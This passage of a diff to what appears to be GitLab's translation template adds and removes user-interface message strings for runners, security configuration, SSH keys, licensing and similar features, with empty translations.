msgid "Replication"
msgstr ""
-msgid "Replication details"
-msgstr ""
-
-msgid "Replication enabled"
-msgstr ""
-
-msgid "Replication paused"
-msgstr ""
-
msgid "Reply by email"
msgstr ""
@@ -27981,6 +27684,9 @@ msgstr[1] ""
msgid "Requires values to meet regular expression requirements."
msgstr ""
+msgid "Requires your primary GitLab email address."
+msgstr ""
+
msgid "Resend"
msgstr ""
@@ -28131,12 +27837,6 @@ msgstr ""
msgid "Resync"
msgstr ""
-msgid "Resync all"
-msgstr ""
-
-msgid "Resync all %{replicableType}"
-msgstr ""
-
msgid "Retry"
msgstr ""
@@ -28152,9 +27852,6 @@ msgstr ""
msgid "Retry this job in order to create the necessary resources."
msgstr ""
-msgid "Retry update"
-msgstr ""
-
msgid "Retry verification"
msgstr ""
@@ -28249,6 +27946,9 @@ msgstr ""
msgid "RightSidebar|deleting the"
msgstr ""
+msgid "Rnners|Don't see what you are looking for? See the full list of options, including a fully customizable option, %{linkStart}here%{linkEnd}."
+msgstr ""
+
msgid "Roadmap"
msgstr ""
@@ -28258,9 +27958,6 @@ msgstr ""
msgid "Rollback"
msgstr ""
-msgid "Rook"
-msgstr ""
-
msgid "Ruby"
msgstr ""
@@ -28327,12 +28024,21 @@ msgstr ""
msgid "Runners|Active"
msgstr ""
+msgid "Runners|Amazon Linux 2 Docker HA with manual scaling and optional scheduling. %{percentage} spot."
+msgstr ""
+
+msgid "Runners|Amazon Linux 2 Docker HA with manual scaling and optional scheduling. Non-spot. Default choice for Linux Docker executor."
+msgstr ""
+
msgid "Runners|An error has occurred fetching instructions"
msgstr ""
msgid "Runners|Architecture"
msgstr ""
+msgid "Runners|Are you sure you want to delete this runner?"
+msgstr ""
+
msgid "Runners|Can run untagged jobs"
msgstr ""
@@ -28342,6 +28048,9 @@ msgstr ""
msgid "Runners|Copy instructions"
msgstr ""
+msgid "Runners|Deploy GitLab Runner in AWS"
+msgstr ""
+
msgid "Runners|Description"
msgstr ""
@@ -28351,9 +28060,18 @@ msgstr ""
msgid "Runners|Download latest binary"
msgstr ""
+msgid "Runners|Enter the number of seconds. This timeout takes precedence over lower timeouts set for the project."
+msgstr ""
+
+msgid "Runners|For each solution, you will choose a capacity. 1 enables warm HA through Auto Scaling group re-spawn. 2 enables hot HA because the service is available even when a node is lost. 3 or more enables hot HA and manual scaling of runner fleet."
+msgstr ""
+
msgid "Runners|IP Address"
msgstr ""
+msgid "Runners|If you do not select an AWS VPC, the runner will deploy to the Default VPC in the AWS Region you select. Please consult with your AWS administrator to understand if there are any security risks to deploying into the Default VPC in any given region in your AWS account."
+msgstr ""
+
msgid "Runners|Install a runner"
msgstr ""
@@ -28366,9 +28084,15 @@ msgstr ""
msgid "Runners|Maximum job timeout"
msgstr ""
+msgid "Runners|Members of the %{type} can register runners"
+msgstr ""
+
msgid "Runners|Name"
msgstr ""
+msgid "Runners|New registration token generated!"
+msgstr ""
+
msgid "Runners|New runner, has not connected yet"
msgstr ""
@@ -28411,12 +28135,18 @@ msgstr ""
msgid "Runners|Runner is paused, last contact was %{runner_contact} ago"
msgstr ""
+msgid "Runners|Runner registration"
+msgstr ""
+
msgid "Runners|Shared runners are available to every project in a GitLab instance. If you want a runner to build only specific projects, restrict the project in the table below. After you restrict a runner to a project, you cannot change it back to a shared runner."
msgstr ""
msgid "Runners|Show Runner installation instructions"
msgstr ""
+msgid "Runners|Something went wrong while fetching the tags suggestions"
+msgstr ""
+
msgid "Runners|Tags"
msgstr ""
@@ -28447,6 +28177,12 @@ msgstr ""
msgid "Runners|View installation instructions"
msgstr ""
+msgid "Runners|Windows 2019 Shell with manual scaling and optional scheduling. %{percentage} spot."
+msgstr ""
+
+msgid "Runners|Windows 2019 Shell with manual scaling and optional scheduling. Non-spot. Default choice for Windows Shell executor."
+msgstr ""
+
msgid "Runners|You can set up a specific runner to be used by multiple projects but you cannot make this a shared runner."
msgstr ""
@@ -28525,6 +28261,12 @@ msgstr ""
msgid "SSH keys allow you to establish a secure connection between your computer and GitLab."
msgstr ""
+msgid "SSH keys with the following fingerprints are scheduled to expire soon. Expired SSH keys can not be used:"
+msgstr ""
+
+msgid "SSH keys with the following fingerprints have expired and can no longer be used:"
+msgstr ""
+
msgid "SSH public key"
msgstr ""
@@ -28576,10 +28318,7 @@ msgstr ""
msgid "Save pipeline schedule"
msgstr ""
-msgid "Save space and find images in the Container Registry. Remove unneeded tags and keep only the ones you want."
-msgstr ""
-
-msgid "Saved scan settings and target site settings which are reusable."
+msgid "Save space and find images in the container Registry. remove unneeded tags and keep only the ones you want. %{linkStart}How does cleanup work?%{linkEnd}"
msgstr ""
msgid "Saving"
@@ -28612,6 +28351,9 @@ msgstr ""
msgid "Scheduled a rebase of branch %{branch}."
msgstr ""
+msgid "Scheduled pipelines cannot run more frequently than once per %{limit} minutes. A pipeline configured to run more frequently only starts after %{limit} minutes have elapsed since the last time it ran."
+msgstr ""
+
msgid "Scheduled to merge this merge request (%{strategy})."
msgstr ""
@@ -28663,6 +28405,9 @@ msgstr ""
msgid "Search"
msgstr ""
+msgid "Search GitLab"
+msgstr ""
+
msgid "Search Jira issues"
msgstr ""
@@ -28747,9 +28492,6 @@ msgstr ""
msgid "Search or filter results…"
msgstr ""
-msgid "Search or jump to…"
-msgstr ""
-
msgid "Search project"
msgstr ""
@@ -28880,12 +28622,6 @@ msgstr[1] ""
msgid "Searching by both author and message is currently not supported."
msgstr ""
-msgid "Seat Link"
-msgstr ""
-
-msgid "Seat Link is disabled, and cannot be configured through this form."
-msgstr ""
-
msgid "SeatUsage|Seat usage"
msgstr ""
@@ -28952,6 +28688,9 @@ msgstr ""
msgid "SecurityConfiguration|%{featureName} merge request creation mutation failed"
msgstr ""
+msgid "SecurityConfiguration|%{scanType} configuration code snippet"
+msgstr ""
+
msgid "SecurityConfiguration|An error occurred while creating the merge request."
msgstr ""
@@ -28973,6 +28712,9 @@ msgstr ""
msgid "SecurityConfiguration|Configuration guide"
msgstr ""
+msgid "SecurityConfiguration|Configuration history"
+msgstr ""
+
msgid "SecurityConfiguration|Configure"
msgstr ""
@@ -28982,6 +28724,12 @@ msgstr ""
msgid "SecurityConfiguration|Configure via Merge Request"
msgstr ""
+msgid "SecurityConfiguration|Copy code and open .gitlab-ci.yml file"
+msgstr ""
+
+msgid "SecurityConfiguration|Copy code only"
+msgstr ""
+
msgid "SecurityConfiguration|Could not retrieve configuration data. Please refresh the page, or try again later."
msgstr ""
@@ -29006,9 +28754,18 @@ msgstr ""
msgid "SecurityConfiguration|Feature documentation for %{featureName}"
msgstr ""
+msgid "SecurityConfiguration|GitLab Ultimate checks your application for security vulnerabilities that may lead to unauthorized access, data leaks, and denial of service attacks. Its features include:"
+msgstr ""
+
+msgid "SecurityConfiguration|High-level vulnerability statistics across projects and groups."
+msgstr ""
+
msgid "SecurityConfiguration|Manage"
msgstr ""
+msgid "SecurityConfiguration|Manage profiles for use by DAST scans."
+msgstr ""
+
msgid "SecurityConfiguration|Manage scans"
msgstr ""
@@ -29018,12 +28775,21 @@ msgstr ""
msgid "SecurityConfiguration|Not enabled"
msgstr ""
+msgid "SecurityConfiguration|Once you've enabled a scan for the default branch, any subsequent feature branch you create will include the scan."
+msgstr ""
+
+msgid "SecurityConfiguration|Runtime security metrics for application environments."
+msgstr ""
+
msgid "SecurityConfiguration|SAST Analyzers"
msgstr ""
msgid "SecurityConfiguration|SAST Configuration"
msgstr ""
+msgid "SecurityConfiguration|Secure your project with Ultimate"
+msgstr ""
+
msgid "SecurityConfiguration|Security Control"
msgstr ""
@@ -29036,7 +28802,10 @@ msgstr ""
msgid "SecurityConfiguration|Testing & Compliance"
msgstr ""
-msgid "SecurityConfiguration|The status of the tools only applies to the default branch and is based on the %{linkStart}latest pipeline%{linkEnd}. Once you've enabled a scan for the default branch, any subsequent feature branch you create will include the scan."
+msgid "SecurityConfiguration|The status of the tools only applies to the default branch and is based on the %{linkStart}latest pipeline%{linkEnd}."
+msgstr ""
+
+msgid "SecurityConfiguration|Upgrade or start a free trial"
msgstr ""
msgid "SecurityConfiguration|Using custom settings. You won't receive automatic updates on this variable. %{anchorStart}Restore to default%{anchorEnd}"
@@ -29045,6 +28814,12 @@ msgstr ""
msgid "SecurityConfiguration|View history"
msgstr ""
+msgid "SecurityConfiguration|Vulnerability details and statistics in the merge request."
+msgstr ""
+
+msgid "SecurityConfiguration|With the information provided, you can immediately begin risk analysis and remediation within GitLab."
+msgstr ""
+
msgid "SecurityConfiguration|You can quickly enable all security scanning tools by enabling %{linkStart}Auto DevOps%{linkEnd}."
msgstr ""
@@ -29057,6 +28832,27 @@ msgstr ""
msgid "SecurityOrchestration|Security policy project"
msgstr ""
+msgid "SecurityPolicies|Description"
+msgstr ""
+
+msgid "SecurityPolicies|Enforcement status"
+msgstr ""
+
+msgid "SecurityPolicies|Latest scan"
+msgstr ""
+
+msgid "SecurityPolicies|Network"
+msgstr ""
+
+msgid "SecurityPolicies|Policy type"
+msgstr ""
+
+msgid "SecurityPolicies|Scan execution"
+msgstr ""
+
+msgid "SecurityPolicies|view results"
+msgstr ""
+
msgid "SecurityReports|%{firstProject} and %{secondProject}"
msgstr ""
@@ -29069,7 +28865,7 @@ msgstr ""
msgid "SecurityReports|Add projects"
msgstr ""
-msgid "SecurityReports|All"
+msgid "SecurityReports|All activity"
msgstr ""
msgid "SecurityReports|Although it's rare to have no vulnerabilities, it can happen. Check your settings to make sure you've set up your dashboard correctly."
@@ -29132,6 +28928,9 @@ msgstr ""
msgid "SecurityReports|Error fetching the vulnerability list. Please check your network connection and try again."
msgstr ""
+msgid "SecurityReports|Error parsing security reports"
+msgstr ""
+
msgid "SecurityReports|Failed to get security report information. Please reload the page or try again later."
msgstr ""
@@ -29237,6 +29036,9 @@ msgstr ""
msgid "SecurityReports|Take survey"
msgstr ""
+msgid "SecurityReports|The security reports below contain one or more vulnerability findings that could not be parsed and were not recorded. Download the artifacts in the job output to investigate. Ensure any security report created conforms to the relevant %{helpPageLinkStart}JSON schema%{helpPageLinkEnd}."
+msgstr ""
+
msgid "SecurityReports|There was an error adding the comment."
msgstr ""
@@ -29339,9 +29141,6 @@ msgstr ""
msgid "Select Page"
msgstr ""
-msgid "Select Stack"
-msgstr ""
-
msgid "Select a branch"
msgstr ""
@@ -29372,9 +29171,15 @@ msgstr ""
msgid "Select a repository"
msgstr ""
+msgid "Select a role"
+msgstr ""
+
msgid "Select a shared template repository for all projects on this instance."
msgstr ""
+msgid "Select a subgroup to use as a template when creating new projects in the group."
+msgstr ""
+
msgid "Select a template repository"
msgstr ""
@@ -29477,9 +29282,6 @@ msgstr ""
msgid "Select target branch"
msgstr ""
-msgid "Select the custom project template source group."
-msgstr ""
-
msgid "Select timezone"
msgstr ""
@@ -29573,7 +29375,7 @@ msgstr ""
msgid "Send report"
msgstr ""
-msgid "Send usage data"
+msgid "Send service data"
msgstr ""
msgid "Sentry API URL"
@@ -29612,10 +29414,10 @@ msgstr ""
msgid "Serverless platform"
msgstr ""
-msgid "ServerlessDetails|Function invocation metrics require Prometheus to be installed first."
+msgid "ServerlessDetails|Configure cluster."
msgstr ""
-msgid "ServerlessDetails|Install Prometheus"
+msgid "ServerlessDetails|Function invocation metrics require the Prometheus cluster integration."
msgstr ""
msgid "ServerlessDetails|Invocation metrics loading or not available at this time."
@@ -29657,9 +29459,6 @@ msgstr ""
msgid "Serverless|In order to start using functions as a service, you must first install Knative on your Kubernetes cluster. %{linkStart}More information%{linkEnd}"
msgstr ""
-msgid "Serverless|Install Knative"
-msgstr ""
-
msgid "Serverless|Learn more about Serverless"
msgstr ""
@@ -29702,6 +29501,9 @@ msgstr ""
msgid "Service URL"
msgstr ""
+msgid "Service ping is disabled, and cannot be configured through this form."
+msgstr ""
+
msgid "ServiceDesk|Enable Service Desk"
msgstr ""
@@ -29792,6 +29594,9 @@ msgstr ""
msgid "Set requirements for a user to sign-in. Enable mandatory two-factor authentication."
msgstr ""
+msgid "Set size limits for displaying diffs in the browser."
+msgstr ""
+
msgid "Set target branch"
msgstr ""
@@ -29972,9 +29777,6 @@ msgstr ""
msgid "SeverityWidget|There was an error while updating severity."
msgstr ""
-msgid "Shards (%{shards})"
-msgstr ""
-
msgid "Shards to synchronize"
msgstr ""
@@ -29999,6 +29801,9 @@ msgstr ""
msgid "Shared runners are disabled on group level"
msgstr ""
+msgid "Shared runners details"
+msgstr ""
+
msgid "Shared runners help link"
msgstr ""
@@ -30023,9 +29828,6 @@ msgstr ""
msgid "Show all issues."
msgstr ""
-msgid "Show all members"
-msgstr ""
-
msgid "Show all test cases."
msgstr ""
@@ -30053,9 +29855,6 @@ msgstr ""
msgid "Show complete raw log"
msgstr ""
-msgid "Show dependencies"
-msgstr ""
-
msgid "Show details"
msgstr ""
@@ -30089,12 +29888,6 @@ msgstr ""
msgid "Show one file at a time"
msgstr ""
-msgid "Show only direct members"
-msgstr ""
-
-msgid "Show only inherited members"
-msgstr ""
-
msgid "Show parent pages"
msgstr ""
@@ -30141,6 +29934,9 @@ msgstr ""
msgid "Showing all issues"
msgstr ""
+msgid "Showing data for workflow items created in this date range. Date range cannot exceed %{maxDateRange} days."
+msgstr ""
+
msgid "Showing graphs based on events of the last %{timerange} days."
msgstr ""
@@ -30474,9 +30270,6 @@ msgstr ""
msgid "Something went wrong while deleting description changes. Please try again."
msgstr ""
-msgid "Something went wrong while deleting the package."
-msgstr ""
-
msgid "Something went wrong while deleting the source branch. Please try again."
msgstr ""
@@ -30579,6 +30372,9 @@ msgstr ""
msgid "Something went wrong while setting %{issuableType} notifications."
msgstr ""
+msgid "Something went wrong while setting %{issuableType} to-do item."
+msgstr ""
+
msgid "Something went wrong while stopping this environment. Please try again."
msgstr ""
@@ -30645,12 +30441,6 @@ msgstr ""
msgid "Sort direction: Descending"
msgstr ""
-msgid "SortOptions|Access level, ascending"
-msgstr ""
-
-msgid "SortOptions|Access level, descending"
-msgstr ""
-
msgid "SortOptions|Blocking"
msgstr ""
@@ -30684,9 +30474,6 @@ msgstr ""
msgid "SortOptions|Last created"
msgstr ""
-msgid "SortOptions|Last joined"
-msgstr ""
-
msgid "SortOptions|Last updated"
msgstr ""
@@ -30729,9 +30516,6 @@ msgstr ""
msgid "SortOptions|Oldest created"
msgstr ""
-msgid "SortOptions|Oldest joined"
-msgstr ""
-
msgid "SortOptions|Oldest last activity"
msgstr ""
@@ -30783,6 +30567,9 @@ msgstr ""
msgid "SortOptions|Start soon"
msgstr ""
+msgid "SortOptions|Title"
+msgstr ""
+
msgid "SortOptions|Type"
msgstr ""
@@ -30801,6 +30588,9 @@ msgstr ""
msgid "Source Branch"
msgstr ""
+msgid "Source Editor instance is required to set up an extension."
+msgstr ""
+
msgid "Source IP"
msgstr ""
@@ -30903,15 +30693,6 @@ msgstr ""
msgid "Stage"
msgstr ""
-msgid "StageName|Build"
-msgstr ""
-
-msgid "StageName|Deploy"
-msgstr ""
-
-msgid "StageName|Test"
-msgstr ""
-
msgid "Standard"
msgstr ""
@@ -31128,12 +30909,18 @@ msgstr ""
msgid "Status: %{title}"
msgstr ""
+msgid "StatusCheck|%{pending} pending"
+msgstr ""
+
msgid "StatusCheck|API to check"
msgstr ""
msgid "StatusCheck|Add status check"
msgstr ""
+msgid "StatusCheck|All passed"
+msgstr ""
+
msgid "StatusCheck|An error occurred deleting the %{name} status check."
msgstr ""
@@ -31152,7 +30939,7 @@ msgstr ""
msgid "StatusCheck|External API is already in use by another status check."
msgstr ""
-msgid "StatusCheck|Invoke an external API as part of the approvals"
+msgid "StatusCheck|Failed to load status checks."
msgstr ""
msgid "StatusCheck|Invoke an external API as part of the pipeline process."
@@ -31182,6 +30969,9 @@ msgstr ""
msgid "StatusCheck|Update status check"
msgstr ""
+msgid "StatusCheck|When this merge request is updated, a call is sent to the following APIs to confirm their status. %{linkStart}Learn more%{linkEnd}."
+msgstr ""
+
msgid "StatusCheck|You are about to remove the %{name} status check."
msgstr ""
@@ -31269,6 +31059,9 @@ msgstr ""
msgid "StorageSize|Unknown"
msgstr ""
+msgid "Strikethrough"
+msgstr ""
+
msgid "Subgroup information"
msgstr ""
@@ -31278,9 +31071,6 @@ msgstr ""
msgid "Subgroup navigation"
msgstr ""
-msgid "Subgroup overview"
-msgstr ""
-
msgid "SubgroupCreationLevel|Allowed to create subgroups"
msgstr ""
@@ -31635,6 +31425,9 @@ msgstr ""
msgid "SuperSonics|Activate"
msgstr ""
+msgid "SuperSonics|Activate cloud license"
+msgstr ""
+
msgid "SuperSonics|Activate subscription"
msgstr ""
@@ -31653,7 +31446,13 @@ msgstr ""
msgid "SuperSonics|Buy subscription"
msgstr ""
-msgid "SuperSonics|Enter activation code"
+msgid "SuperSonics|Cloud license"
+msgstr ""
+
+msgid "SuperSonics|Cloud licensing"
+msgstr ""
+
+msgid "SuperSonics|Cloud licensing is now available. It's an easier way to activate instances and manage subscriptions. Read more about it in our %{blogPostLinkStart}blog post%{blogPostLinkEnd}. Activation codes are available in the %{portalLinkStart}Customers Portal%{portalLinkEnd}."
msgstr ""
msgid "SuperSonics|Expires on"
@@ -31725,9 +31524,6 @@ msgstr ""
msgid "SuperSonics|There is a connectivity issue."
msgstr ""
-msgid "SuperSonics|This field is required."
-msgstr ""
-
msgid "SuperSonics|This is the highest peak of users on your installation since the license started."
msgstr ""
@@ -31740,7 +31536,7 @@ msgstr ""
msgid "SuperSonics|Type"
msgstr ""
-msgid "SuperSonics|Upload a legacy license"
+msgid "SuperSonics|Upload a license file"
msgstr ""
msgid "SuperSonics|Users in subscription"
@@ -31788,7 +31584,7 @@ msgstr ""
msgid "Survey Response"
msgstr ""
-msgid "Switch Branch"
+msgid "Switch branch"
msgstr ""
msgid "Switch branch/tag"
@@ -31803,7 +31599,7 @@ msgstr ""
msgid "Symbolic link"
msgstr ""
-msgid "Sync information"
+msgid "Sync LDAP"
msgstr ""
msgid "Sync now"
@@ -31812,10 +31608,10 @@ msgstr ""
msgid "Synced"
msgstr ""
-msgid "Synchronization disabled"
+msgid "Synchronization settings"
msgstr ""
-msgid "Synchronization settings"
+msgid "Synchronize LDAP"
msgstr ""
msgid "Syncing…"
@@ -32007,6 +31803,9 @@ msgstr ""
msgid "Telephone number"
msgstr ""
+msgid "Tell us your experiences with the new Markdown editor %{linkStart}in this feedback issue%{linkEnd}."
+msgstr ""
+
msgid "Template"
msgstr ""
@@ -32362,7 +32161,7 @@ msgstr ""
msgid "The Advanced Search in GitLab is a powerful search service that saves you time. Instead of creating duplicate code and wasting time, you can now search for code within other teams that can help your own project."
msgstr ""
-msgid "The Compliance Dashboard gives you the ability to see a group's merge request activity by providing a high-level view for all projects in the group."
+msgid "The Compliance Report captures merged changes that violate compliance best practices."
msgstr ""
msgid "The GitLab subscription service (customers.gitlab.com) is currently experiencing an outage. You can monitor the status and get updates at %{linkStart}status.gitlab.com%{linkEnd}."
@@ -32371,6 +32170,9 @@ msgstr ""
msgid "The GitLab user to which the Jira user %{jiraDisplayName} will be mapped"
msgstr ""
+msgid "The ID of the application."
+msgstr ""
+
msgid "The Issue Tracker is the place to add things that need to be improved or solved in a project"
msgstr ""
@@ -32380,6 +32182,9 @@ msgstr ""
msgid "The Prometheus server responded with \"bad request\". Please check your queries are correct and are supported in your Prometheus version. %{documentationLink}"
msgstr ""
+msgid "The Snowplow cookie domain."
+msgstr ""
+
msgid "The URL defined on the primary node that secondary nodes should use to contact it."
msgstr ""
@@ -32413,9 +32218,6 @@ msgstr ""
msgid "The character highlighter helps you keep the subject line to %{titleLength} characters and wrap the body at %{bodyLength} so they are readable in git."
msgstr ""
-msgid "The coding stage shows the time from the first commit to creating the merge request. The data will automatically be added here once you create your first merge request."
-msgstr ""
-
msgid "The collection of events added to the data gathered for that stage."
msgstr ""
@@ -32449,7 +32251,7 @@ msgstr ""
msgid "The data source is connected, but there is no data to display. %{documentationLink}"
msgstr ""
-msgid "The default CI configuration path for new projects."
+msgid "The default CI/CD configuration file and path for new projects."
msgstr ""
msgid "The dependency list details information about the components used within your project."
@@ -32479,6 +32281,9 @@ msgstr ""
msgid "The errors we encountered were:"
msgstr ""
+msgid "The file containing the export is not available yet; it may still be transferring. Please try again later."
+msgstr ""
+
msgid "The file has been successfully created."
msgstr ""
@@ -32553,6 +32358,9 @@ msgstr ""
msgid "The group_project_ids parameter is only allowed for a group"
msgstr ""
+msgid "The hostname of your Snowplow collector."
+msgstr ""
+
msgid "The import will time out after %{timeout}. For repositories that take longer, use a clone/push combination."
msgstr ""
@@ -32574,15 +32382,15 @@ msgstr ""
msgid "The invitation was successfully resent."
msgstr ""
-msgid "The issue stage shows the time it takes from creating an issue to assigning the issue to a milestone, or add the issue to a list on your Issue Board. Begin creating issues to see data for this stage."
-msgstr ""
-
msgid "The issue was successfully promoted to an epic. Redirecting to epic..."
msgstr ""
msgid "The latest artifacts created by jobs in the most recent successful pipeline will be stored."
msgstr ""
+msgid "The latest pipeline for this merge request did not complete successfully."
+msgstr ""
+
msgid "The license key is invalid. Make sure it is exactly as you received it from GitLab Inc."
msgstr ""
@@ -32667,18 +32475,12 @@ msgstr ""
msgid "The password for your GitLab account on %{link_to_gitlab} has successfully been changed."
msgstr ""
-msgid "The phase of the development lifecycle."
-msgstr ""
-
msgid "The pipeline has been deleted"
msgstr ""
msgid "The pipelines schedule runs pipelines in the future, repeatedly, for specific branches or tags. Those scheduled pipelines will inherit limited project access based on their associated user."
msgstr ""
-msgid "The planning stage shows the time from the previous step to pushing your first commit. This time will be added automatically once you push your first commit."
-msgstr ""
-
msgid "The private key to use when a client certificate is provided. This value is encrypted at rest."
msgstr ""
@@ -32742,9 +32544,6 @@ msgstr ""
msgid "The repository must be accessible over %{code_open}http://%{code_close}, %{code_open}https://%{code_close}, %{code_open}ssh://%{code_close} or %{code_open}git://%{code_close}."
msgstr ""
-msgid "The review stage shows the time from creating the merge request to merging it. The data will automatically be added after you merge your first merge request."
-msgstr ""
-
msgid "The same shared runner executes code from multiple projects, unless you configure autoscaling with %{link} set to 1 (which it is on GitLab.com)."
msgstr ""
@@ -32763,10 +32562,10 @@ msgstr ""
msgid "The snippet is visible to any logged in user except external users."
msgstr ""
-msgid "The specified tab is invalid, please select another"
+msgid "The source branch will be deleted"
msgstr ""
-msgid "The staging stage shows the time between merging the MR and deploying code to the production environment. The data will be automatically added once you deploy to production for the first time."
+msgid "The specified tab is invalid, please select another"
msgstr ""
msgid "The start date must be ealier than the end date."
@@ -32781,9 +32580,6 @@ msgstr ""
msgid "The tag name can't be changed for an existing release."
msgstr ""
-msgid "The testing stage shows the time GitLab CI takes to run every pipeline for the related merge request. The data will automatically be added after your first pipeline finishes running."
-msgstr ""
-
msgid "The time taken by each data entry gathered by that stage."
msgstr ""
@@ -32793,9 +32589,6 @@ msgstr ""
msgid "The uploaded file was invalid. Supported file extensions are %{extensions}."
msgstr ""
-msgid "The usage ping is disabled, and cannot be configured through this form."
-msgstr ""
-
msgid "The user is being deleted."
msgstr ""
@@ -32814,9 +32607,6 @@ msgstr ""
msgid "The username for the Jenkins server."
msgstr ""
-msgid "The value lying at the midpoint of a series of observed values. E.g., between 3, 5, 9, the median is 5. Between 3, 5, 7, 8, the median is (5+7)/2 = 6."
-msgstr ""
-
msgid "The value of the provided variable exceeds the %{count} character limit"
msgstr ""
@@ -32958,9 +32748,6 @@ msgstr ""
msgid "There was a problem communicating with your device."
msgstr ""
-msgid "There was a problem dismissing this notification."
-msgstr ""
-
msgid "There was a problem fetching branches."
msgstr ""
@@ -33081,6 +32868,9 @@ msgstr ""
msgid "There was an error loading merge request approval settings."
msgstr ""
+msgid "There was an error loading related feature flags"
+msgstr ""
+
msgid "There was an error loading users activity calendar."
msgstr ""
@@ -33156,6 +32946,9 @@ msgstr ""
msgid "There was an error while fetching value stream analytics duration data."
msgstr ""
+msgid "There was an error while fetching value stream summary data."
+msgstr ""
+
msgid "There was an error with the reCAPTCHA. Please solve the reCAPTCHA again."
msgstr ""
@@ -33189,7 +32982,7 @@ msgstr ""
msgid "Third Party Advisory Link"
msgstr ""
-msgid "Third party offers"
+msgid "Third-party offers"
msgstr ""
msgid "This %{issuableDisplayName} is locked. Only project members can comment."
@@ -33285,6 +33078,9 @@ msgstr ""
msgid "This chart could not be displayed"
msgstr ""
+msgid "This code snippet contains everything reflected in the configuration form. Copy and paste it into %{linkStart}.gitlab-ci.yml%{linkEnd} file and save your changes. Future %{scanType} scans will use these settings."
+msgstr ""
+
msgid "This comment changed after you started editing it. Review the %{startTag}updated comment%{endTag} to ensure information is not lost."
msgstr ""
@@ -33324,9 +33120,6 @@ msgstr ""
msgid "This diff is collapsed."
msgstr ""
-msgid "This diff was suppressed by a .gitattributes entry."
-msgstr ""
-
msgid "This directory"
msgstr ""
@@ -33411,7 +33204,7 @@ msgstr ""
msgid "This is a merge train pipeline"
msgstr ""
-msgid "This is a private email address %{helpIcon} generated just for you. Anyone who gets ahold of it can create issues or merge requests as if they were you. You should %{resetLinkStart}reset it%{resetLinkEnd} if that ever happens."
+msgid "This is a private email address %{helpIcon} generated just for you. Anyone who has it can create issues or merge requests as if they were you. If that happens, %{resetLinkStart}reset this token%{resetLinkEnd}."
msgstr ""
msgid "This is a security log of important events involving your account."
@@ -34150,9 +33943,15 @@ msgstr ""
msgid "To connect an SVN repository, check out %{svn_link}."
msgstr ""
+msgid "To continue, you need to select the link in the confirmation email we sent to verify your email address. If you didn't get our email, select %{strongStart}Resend confirmation email.%{strongEnd}"
+msgstr ""
+
msgid "To define internal users, first enable new users set to external"
msgstr ""
+msgid "To enable Registration Features, make sure \"Enable service ping\" is checked."
+msgstr ""
+
msgid "To ensure no loss of personal content, this account should only be used for matters related to %{group_name}."
msgstr ""
@@ -34237,9 +34036,6 @@ msgstr ""
msgid "To set up this service:"
msgstr ""
-msgid "To simplify the billing process, GitLab will collect user counts in order to prorate charges for user growth throughout the year using a quarterly reconciliation process."
-msgstr ""
-
msgid "To specify the notification level per project of a group you belong to, you need to visit project page and change notification level there."
msgstr ""
@@ -34339,9 +34135,18 @@ msgstr ""
msgid "Token"
msgstr ""
+msgid "Token name"
+msgstr ""
+
msgid "Token valid until revoked"
msgstr ""
+msgid "Tokens|Scopes set the permission levels granted to the token."
+msgstr ""
+
+msgid "Tokens|Select scopes"
+msgstr ""
+
msgid "Tomorrow"
msgstr ""
@@ -34354,6 +34159,9 @@ msgstr ""
msgid "Too many projects enabled. You will need to manage them via the console or the API."
msgstr ""
+msgid "TopNav|Go back"
+msgstr ""
+
msgid "Topics (optional)"
msgstr ""
@@ -34402,6 +34210,15 @@ msgstr ""
msgid "Track groups of issues that share a theme, across projects and milestones"
msgstr ""
+msgid "Track important events in your GitLab instance."
+msgstr ""
+
+msgid "Track important events in your group."
+msgstr ""
+
+msgid "Track important events in your project."
+msgstr ""
+
msgid "Track time with quick actions"
msgstr ""
@@ -34881,12 +34698,6 @@ msgstr ""
msgid "Unhappy?"
msgstr ""
-msgid "Uninstall"
-msgstr ""
-
-msgid "Uninstalling"
-msgstr ""
-
msgid "Units|ms"
msgstr ""
@@ -34977,21 +34788,6 @@ msgstr ""
msgid "UnscannedProjects|60 or more days"
msgstr ""
-msgid "UnscannedProjects|Default branch scanning by project"
-msgstr ""
-
-msgid "UnscannedProjects|Out of date"
-msgstr ""
-
-msgid "UnscannedProjects|Project scanning"
-msgstr ""
-
-msgid "UnscannedProjects|Untested"
-msgstr ""
-
-msgid "UnscannedProjects|Your projects are up do date! Nice job!"
-msgstr ""
-
msgid "Unschedule job"
msgstr ""
@@ -35127,9 +34923,6 @@ msgstr ""
msgid "Updated %{updated_at} by %{updated_by}"
msgstr ""
-msgid "Updated to %{linkStart}chart v%{linkEnd}"
-msgstr ""
-
msgid "Updates"
msgstr ""
@@ -35466,9 +35259,15 @@ msgstr ""
msgid "Use .gitlab-ci.yml"
msgstr ""
+msgid "Use GitLab Runner in AWS"
+msgstr ""
+
msgid "Use a one-time password authenticator on your mobile device or computer to enable two-factor authentication (2FA)."
msgstr ""
+msgid "Use an AWS CloudFormation Template (CFT) to install and configure GitLab Runner in AWS."
+msgstr ""
+
msgid "Use cURL"
msgstr ""
@@ -35598,6 +35397,9 @@ msgstr ""
msgid "User was successfully updated."
msgstr ""
+msgid "UserAvailability|%{author} %{spanStart}(Busy)%{spanEnd}"
+msgstr ""
+
msgid "UserAvailability|%{author} (Busy)"
msgstr ""
@@ -35895,9 +35697,6 @@ msgstr ""
msgid "Value"
msgstr ""
-msgid "Value Stream"
-msgstr ""
-
msgid "Value Stream Analytics"
msgstr ""
@@ -35907,9 +35706,15 @@ msgstr ""
msgid "Value Stream Analytics gives an overview of how much time it takes to go from idea to production in your project."
msgstr ""
+msgid "Value stream"
+msgstr ""
+
msgid "ValueStreamAnalyticsStage|We don't have enough data to show this stage."
msgstr ""
+msgid "ValueStreamAnalytics|%{stageCount}+ items"
+msgstr ""
+
msgid "ValueStreamAnalytics|%{value}M"
msgstr ""
@@ -35991,9 +35796,6 @@ msgstr ""
msgid "Verification concurrency limit"
msgstr ""
-msgid "Verification information"
-msgstr ""
-
msgid "Verification status"
msgstr ""
@@ -36079,6 +35881,9 @@ msgstr ""
msgid "View full log"
msgstr ""
+msgid "View group in admin area"
+msgstr ""
+
msgid "View group labels"
msgstr ""
@@ -36097,9 +35902,6 @@ msgstr ""
msgid "View job"
msgstr ""
-msgid "View job dependencies in the pipeline graph!"
-msgstr ""
-
msgid "View job log"
msgstr ""
@@ -36133,6 +35935,9 @@ msgstr ""
msgid "View project"
msgstr ""
+msgid "View project in admin area"
+msgstr ""
+
msgid "View project labels"
msgstr ""
@@ -36202,7 +36007,10 @@ msgstr ""
msgid "Visit settings page"
msgstr ""
-msgid "Visual Studio Code"
